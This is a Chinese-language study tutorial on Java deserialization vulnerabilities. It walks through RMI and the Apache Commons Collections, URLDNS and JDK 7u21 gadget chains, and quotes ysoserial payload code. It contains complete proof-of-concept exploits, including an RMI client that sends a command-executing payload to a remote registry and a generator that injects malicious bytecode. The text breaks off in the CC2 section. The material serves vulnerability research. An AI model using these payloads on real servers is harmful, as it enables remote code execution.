Java 反序列化漏洞

利用方法多、造成危害有大有小;没有效果很好的检测工具,通常是有经验的从业人员发现。

序列化:把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream 类的 writeObject() 方法可以实现序列化。

反序列化:把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

漏洞成因:攻击者通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的恶意代码。

demo

重写 readObject 方法

默认的序列化与反序列化操作,实现的效果就是写入文件和从文件中读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package test1;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class test1{
public static void main(String args[])throws Exception{
// 定义 obj 对象
String obj = "hello world!";

// 创建一个包含对象进行序列化信息的 object 数据文件
FileOutputStream fos = new FileOutputStream("D:/Study/test/object");
ObjectOutputStream os = new ObjectOutputStream(fos);

// writeObject() 方法将 obj 对象写入 object 文件
os.writeObject(obj);
os.close();

// 从文件中反序列化 obj 对象
FileInputStream fis = new FileInputStream("D:/Study/test/object");
ObjectInputStream ois = new ObjectInputStream(fis);

// 恢复对象
String obj2 = (String)ois.readObject();
System.out.print(obj2);
ois.close();
}
}

查看 object 文件中的内容(序列化的 obj)

  • 0xaced 为 Java 对象序列化流的魔数,0x0005 为 Java 对象序列化的版本号,Java 对象序列化数据的前 4 个字节为 AC ED 00 05

重写 readObject 函数,在其中调用计算器

  • 只有实现 Serializable 接口的类的对象才可以被序列化
  • 重写了 readObject() 函数
  • 默认的写方法 writeObject() 可以将非静态和非 transient 的字段序列化
    • 简单的对象序列化操作用默认方法即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package test2;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.io.IOException;

public class test2{
public static void main(String args[]) throws Exception{
// 定义 myObj 对象
MyObject myObj = new MyObject();
myObj.name = "hi";

// 创建一个包含对象进行反序列化信息的 myobject 数据文件
FileOutputStream fos = new FileOutputStream("D:/Study/test/myobject");
ObjectOutputStream os = new ObjectOutputStream(fos);

// writeObject() 方法将 myObj 对象写入 myobject 文件
os.writeObject(myObj);
os.close();

// 从文件中反序列化 obj 对象
FileInputStream fis = new FileInputStream("D:/Study/test/myobject");
ObjectInputStream ois = new ObjectInputStream(fis);

// 恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}

class MyObject implements Serializable{
public String name;

// 重写 readObject() 方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{

// 执行默认的 readObject() 方法
in.defaultReadObject();

// 执行打开计算器程序命令
Runtime.getRuntime().exec("calc");
}
}

执行该程序,在控制台输出 hi 并弹出计算器

RMI

RMI(Remote Method Invocation):一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为 JRMP(Java Remote Message Protocol ,Java 远程消息交换协议)以及 CORBA。

简单理解:服务器将提供的服务对象注册到注册表中,客户端查询注册表获得对象并调用

  1. 服务端 Server.java 创建注册表,注册服务对象 hello
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package server;
import service.Hello;
import service.impl.HelloImpl;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class Server {
public static void main(String[] args) throws Exception {
String name = "hello";
Hello hello = new HelloImpl();

// 生成存根(Stub)
UnicastRemoteObject.exportObject(hello,1099);

// 创建本机 1099 端口上的 RMI registry
Registry registry = LocateRegistry.createRegistry(1099);

// 对象绑定到注册表中
registry.rebind(name, hello);
}
}
  1. 远程接口定义及实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Hello.java
package service;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
public String echo(String message) throws RemoteException;
}

// HelloImpl
package service.impl;
import service.Hello;
import java.rmi.RemoteException;

public class HelloImpl implements Hello {
@Override
public String echo(String message) throws RemoteException {
if("quit".equalsIgnoreCase(message.toString())){
System.out.println("Server will be shutdown!");
System.exit(0);
}
System.out.println("Message from client: " + message);
return "Server response:" + message;
}
}
  1. 客户端 Client.java 调用远程对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package client;
import service.Hello;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Scanner;

public class Client {
public static void main(String[] args) throws Exception{
// 获取远程主机上的注册表
Registry registry = LocateRegistry.getRegistry("localhost",1099);
String name = "hello";

// 获取远程对象
Hello hello = (Hello)registry.lookup(name);
while(true){
Scanner sc = new Scanner( System.in ); // 读取输入
String message = sc.next();

// 调用远程方法
hello.echo(message);
if(message.equals("quit")){
break;
}
}
}
}

运行 Server 提供 Hello 服务,运行 Client 查询 hello 远程服务对象,读取控制台运行并调用。

RMI 反序列化漏洞(CC5)

利用了 CommonsCollections5
jdk1.8 之后对 AnnotationInvocationHandler 类做了限制,所以在 jdk1.8 版本就拿 BadAttributeValueExpException 进行替代

漏洞成因:RMI 在传输数据的时候,会将数据序列化,在传输完成后再进行反序列化;客户端提供构造好的恶意数据,服务器端接收后进行反序列化触发代码执行。

  • 能够进行 RMI 通信
  • 服务器引用第三方存在反序列化漏洞的包

结合 Apache Commons Collections 反序列化漏洞,构造 POC

Server 和服务仍然使用上面的代码,修改 Client 的逻辑,构造能够触发代码执行的序列化对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package client;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIexploit {
public static void main(String[] args) throws Exception {
// 远程 RMI Server 的地址
String ip = "127.0.0.1";
int port = 1099;
// 要执行的命令
String command = "calc";

final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

// 构造 transformers
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new Object[] { command }),
new ConstantTransformer(1) };
// 构造 chainedtransformer
Transformer transformerChain = new ChainedTransformer(transformers);

// TiedMapEntry 类中调用 Map 类的 get 方法
// LazyMap 的 get 方法调用 transform
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

// BadAttributeValueExpException 重写 readObject 方法,调用输入流的 toString 方法
// TiremapEntry 的 getValue 方法调用 LazyMap 的 get 方法
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
// 设置 TiedMapEntry
valfield.setAccessible(true);
valfield.set(badAttributeValueExpException, entry);

// 把 BadAttributeValueExpException 对象封装在 Map 中
String name = "pwned" + System.nanoTime();
Map<String, Object> map = new HashMap<String, Object>();
map.put(name, badAttributeValueExpException);

// 获得 AnnotationInvocationHandler 的构造函数
Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
cl.setAccessible(true);

// 把 Map 封装到 AnnotationInvocationHandler 中,转换为 Remote 类型
// 实例化一个代理
InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);
Remote remote = Remote.class.cast(object);
Registry registry = LocateRegistry.getRegistry(ip, port);
registry.bind(name, remote);
}
}

成功弹出计算器

Apache CommonsCollections

利用 ChainedTransformer 构造恶意代码执行链,反序列化时触发其 transform 方法通过反射调用构造好的恶意代码
TransformedMap 修改 key 就会触发调用相应的 transformer.transform
动态代理 AnnotationInvocationHandler 在反序列化时对其变量进行设置操作
ChainedTransformer 和 AnnotationInvocationHandler 可作为其他 gadget 的“后半”部分

反射机制:在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性。

漏洞成因:InvokerTransformer 类实现的 Transformer 接口,可以通过 Java 反射机制来调用任意函数。

远程代码执行:Client 构造恶意序列化对象,Server 反序列化触发 readObject 方法,触发构造好的 Transformer 序列,实现代码执行。

Map 类是存储键值对的数据结构,Apache Commons Collections中实现了类 TransformedMap,用来对 Map 进行某种变换,只要调用 decorate() 函数,传入 key 和 value 的变换函数 Transformer,即可从任意 Map 对象生成相应的 TransformedMap。

1
2
3
4
5
6
7
8
9
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

Transformer 是一个接口,其中定义的 transform() 函数用来将一个对象转换成另一个对象。当 Map 中的任意项的 key 或者 value 被修改,相应的 Transformer 就会被调用。

1
2
3
public interface Transformer {
public Object transform(Object input);
}

Apache Commons Collections 中已经实现了一些常见的 Transformer,其中的 InvokerTransformer 可以通过调用 Java 的反射机制来调用任意函数:

  • 可控参数 iMethodNameiParamTypesiArgs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class InvokerTransformer implements Transformer, Serializable {

...

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName; // 方法名称
iParamTypes = paramTypes; // 参数类型
iArgs = args; // 参数
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

ConstantTransformer 的 transform() 方法,返回 iConstant 属性

1
2
3
 public Object transform(Object input) {
return iConstant;
}

ChainedTransformer 接受 Transformer 数组,transform 方法循环调用 Transformer 的 transform 方法,并使用前一个 object 作为参数。

1
2
3
4
5
6
7
8
9
10
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

漏洞利用需要触发 ChainedTransformer 对象的 transform() 函数,而 TransformedMap 的 checkSetValue 函数中就调用了 transform 方法,那么就要通过构造一个 Map 和一个能执行代码的 ChainedTransformer 以此生成 TransformedMap,然后修改 Map 触发 Transformer 调用。

TransformedMap 中有三个方法调用了 transform()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}

动态代理(Dynamic Proxy) AnnotationInvocationHandler 类的 memberValues 是 Map 类型。

1
2
3
4
5
6
7
8
9
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...

AnnotationInvocationHandler 的 readObject 函数对 memberValues 的每一项调用 setValue 函数,而该函数会触发 TransformedMap 的 checkSetValue 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 触发 Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

序列化对象触发代码执行:

1
AnnotationInvocationHandler.readObject -> Map.setValue -> TransformedMap.checkSetValue -> ChainedTransformer.transform -> InvokeTransformer.transform -> 代码执行

POC 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class test3 {
public static Object Reverse_Payload() throws Exception {
// 构造 ChainedTransformer
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) };
Transformer transformerChain = new ChainedTransformer(transformers);

// 构造 Map
Map innermap = new HashMap();
innermap.put("value", "value");

// 构造 TransformedMap
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

// 通过反射获得 AnnotationInvocationHandler 类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 通过反射获得 cls 的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
// 设置 Accessible 为 true
ctor.setAccessible(true);
//通过 newInstance() 方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}

public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload(), "obj");
payloadTest("obj");
}

public static void GeneratePayload(Object instance, String file)
throws Exception {
// 将构造好的 payload 序列化后写入文件中
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}

public static void payloadTest(String file) throws Exception {
// 读取写入的 payload 并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}

ysoserial

建议將 frohoff/ysoserial 克隆下来本地调试,这里也只是翻查了一下利用链而已。

Java 反序列化 RCE 三要素:readobject 利用点、利用链、RCE 触发点

URLDNS

URL 类的对象在比较时会进行 DNS 查询,HashMap 反序列化时会对 key 进行哈希和比较
将 URL 类对象作为 HashMap 的 key,同时将其 url 设置为可以查询 DNSLOG 地址,将 HashMap 发送到目标服务器,当服务器反序列该数据时将触发 DNS 查询。

不依赖任何第三方库,可以用于确认 readObject 反序列化利用点存在

URL 类在比较时(equalshashCode)会进行 DNS 查询,当两个主机名解析到同一个 ip 时认为它们相等。

利用链

1
2
3
4
HashMap.readObject() # k-v 结构
HashMap.putVal() # java.util.HashMap#readObject 反序列化中调用,参数为 hash(key)
HashMap.hash() # 计算 key 的哈希值,调用 java.net.URL#hashCode
URL.hashCode() # 当 hashCode 为 -1 时,调用 java.net.URLStreamHandler#hashCode,内部再调用 getHostAddress

POC 示例

  • 将 URL 对象作为 HashMap 的 key,反序列化时触发 DNS 查询
  • URL 类会缓存 hashCode 的执行结果,存储在一个非 transient 的实例变量中,序列化时写入
    • 因此在把 URL 添加到 HashMap 前要重置缓存值(利用反射)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
// 0x01.生成 payload
// 设置一个 hashMap
HashMap<URL, String> hashMap = new HashMap<URL, String>();

// 设置可以接收 DNS 查询的地址
URL url = new URL("http://analysis");

// 将 URL 的 hashCode 字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);

// 1. 设置 url 的 hashCode 字段为 0xdeadbeef(随意的值)
f.set(url, 0xdeadbeef); // 默认为 -1 会触发 DNS 查询,因此修改后 hashMap.put 中就不触发
// 2. 将 url 放入 hashMap 中,右边参数随便写
hashMap.put(url, "http://analysis");
// 修改 url 的 hashCode 字段为 -1,触发 DNS 查询
f.set(url, -1);

// 0x02.写入文件模拟网络传输
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);

// 0x03.读取文件,进行反序列化触发 payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}

ysoserial.payloads.URLDNS 使用 URL 类对象和 url 值作为 HashMap 对象的 key-value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

ysoserial.payloads.URLDNS.SilentURLStreamHandler 避免在生成 payload 时触发 DNS 查询,返回为空

  • 规避 DNSLOG
1
2
3
4
5
6
7
8
9
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

CC1

利用 ChainedTransformer 构造恶意调用链
放在特性和 TransformedMap 相同的 lazyMap 中
通过动态代理 AnnotationInvocationHandler 的反序列化触发

适用版本

  • commons-collections 3.1 ~ 3.2.1
  • jdk1.8 之前

利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

ysoserial.payloads.CommonsCollections1 构造 ChainedTransformer(RCE 指令),然后封装到 lazyMap 中。动态代理 AnnotationInvocationHandler 反序列化时会对成员变量 memberValues (代理对象)调用 entrySet 方法,即调用对应 handler 的 invoke 方法,因此用 lazyMap 构造代理。然后会调用 lazyMap 的 handler,也即调用赋值给其 factory 方法的 ChainedTransformer,实现 RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

// 创建 lazyMap 对象
final Map innerMap = new HashMap();
// transformerChain 赋值给 lazyMap 的 factory 变量
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

// 动态代理
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

// 将 Map 传入 InvocationHandler 成员变量 memberValues
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

// 利用反射赋值
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}

jdk 1.7u21

涉及哈希碰撞和 TemplatesImpl
TemplatesImpl 承载恶意调用链,可作为其他 gadget 的“后半”部分

不依赖第三方库,JDK 本身实现的反序列化操作存在安全漏洞。

fix:AnnotationInvocationHandler 的 readObject 方法增加了异常抛出,之前是直接 return。

  • HashMap 构造的 AnnotationInvocationHandler 和 TemplatesImpl 可以存储在 LinkedHashSet 中,在反序列化时通过哈希碰撞(hashCode(f5a5a608)=0)执行下一步;
  • 在代理对象上调用 equals(),即调用 AnnotationInvocationHandler 的 equalsImpl(),它会 invoke TemplatesImpl 的所有非零参方法,包括 getOutputProperties()
  • 上面的步骤会使用 TemplatesImpl 中序列化的恶意字节数组 _bytecodes 作为参数,调用 ClassLoader.declareClass(),最终实现任意代码执行。

反序列化对象图

1
2
3
4
5
6
7
8
9
10
11
12
13
LinkedHashSet
| |
| `--> Proxy (Templates)
| |
| `--> AnnotationInvocationHandler
| |
| `--> HashMap
| | |
| | `----> String ("f5a5a608")
| |
`-----> TemplatesImpl <------`
|
`-------> byte[] (malicious class definition)

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

ysoserial.payloads.Jdk7u21

LinkedHashSet (继承 HashMap 实现)调用 writeObject() 方法序列化时,会依次调用每个元素的 writeObject() ,反序列化时会依次调用每个元素的 readObject() 方法,然后将其作为 key 放入 HashMap 中。

HashMap 中添加元素会调用已有元素的 key 作为参数,调用插入元素的 equals() 方法进行比较。因此只要让反序列化时先添加代理对象,再添加恶意代码实例即可。

普通对象调用 hashCode() 比较,代理对象 AnnotationInvocationHandler 通过 invoke 调用 hashCode ,内部调用 hashCodeImpl(),而其对 memberValues 循环调用 memberValueHashCode(),当其中的对象不是数组时,返回 hashCode

为了让 AnnotationInvocationHandler 代理的对象的返回值与普通对象的返回值相等,这就要求 memberValues 中只有一个值,因此只放一个 key 为 f5a5a608,value 为包含恶意代码的 templates 。

  • 这里是为了能够执行 equals 然后触发 TemplatesImpl.getOutputProperties
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public Object getObject(final String command) throws Exception {
// 恶意代码
final Object templates = Gadgets.createTemplatesImpl(command);

// 哈希碰撞值
String zeroHashCodeStr = "f5a5a608";

// 构造 HashMap
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo"); // value 任意值,让 LinkedHashSet.add 成功

// 使用 HashMap 创建 AnnotationInvocationHandler
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
// 设置为 Templates 类型
Reflections.setFieldValue(tempHandler, "type", Templates.class);
// 使用 AnnotationInvocationHandler 创建 Templates 代理接口
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

// 继承 HashSet
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy); // 进行一次比较,如果一开始放的 templates 无法添加 proxy

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

// 放入实际的 value(替换)
map.put(zeroHashCodeStr, templates); // swap in real object

return set;
}

ysoserial.payloads.util.Gadgets 使用 javaassist 库创建包含恶意代码的类,恶意代码可以在无参构造函数或 static block 中,将恶意代码添加到 TemplatesImpl 的 _bytecodes 变量中,等反序列化时调用 getOutputProperties()newTransformer() 触发恶意代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());

// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd); // 创建 static block

// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

// 获取字节码
final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// 设置进入 defineTransletClasses() 的条件
Reflections.setFieldValue(templates, "_name", "Pwnr"); // 必须填充
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); // 可选
return templates;
}

CC2

利用 TemplatesImpl 承载恶意调用链
PriorityQueue 在反序列化时比较元素(恢复顺序),而比较操作可以自定义
利用 InvokerTransformer 构造比较操作,在比较时触发 transform 操作,进一步触发 TemplatesImpl

适用版本

  • commons-collections 4.0
    • CommonsCollections1 可以在该版本复现,改为 Map lazyMap = LazyMap.lazyMap(innerMap,transformerChain); 设置 factory
  • jdk7u21
    • 使用 TemplatesImpl 的变量 _bytecodes 承载恶意字节码

利用链

1
2
3
4
5
6
7
8
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

ysoserial.payloads.CommonsCollections2 创建 PriorityQueue 对象,并将其 comparator 设置为包含恶意 transformer 对象的 TransformingComparator。

PriorityQueue 反序列化时最后会调用 heapify -> siftDown(将无序队列还原为优先队列), 当 comparator 不为空时进一步调用 siftDownUsingComparator -> conparator.compare 最终通过调用 transformer.transform(TemplatesImpl)实现 RCE。

  • PriorityQueue.heapify() 用于构造二叉堆
  • InvokerTransformer.transform(TemplatesImpl) -> TemplatesImpl.newTransformer()

TemplatesImpl 类主要的作用为:

  • 使用 _bytecodes 成员变量存储恶意字节码 ( 恶意 class -> byte array )
  • 提供加载恶意字节码并触发执行的函数,加载在 defineTransletClasses() 方法中,方法触发为 getOutputProperties()newTransformer()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Queue<Object> getObject(final String command) throws Exception {
// 构造 TemplatesImpl
final Object templates = Gadgets.createTemplatesImpl(command);

// 假的方法名称 toString
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

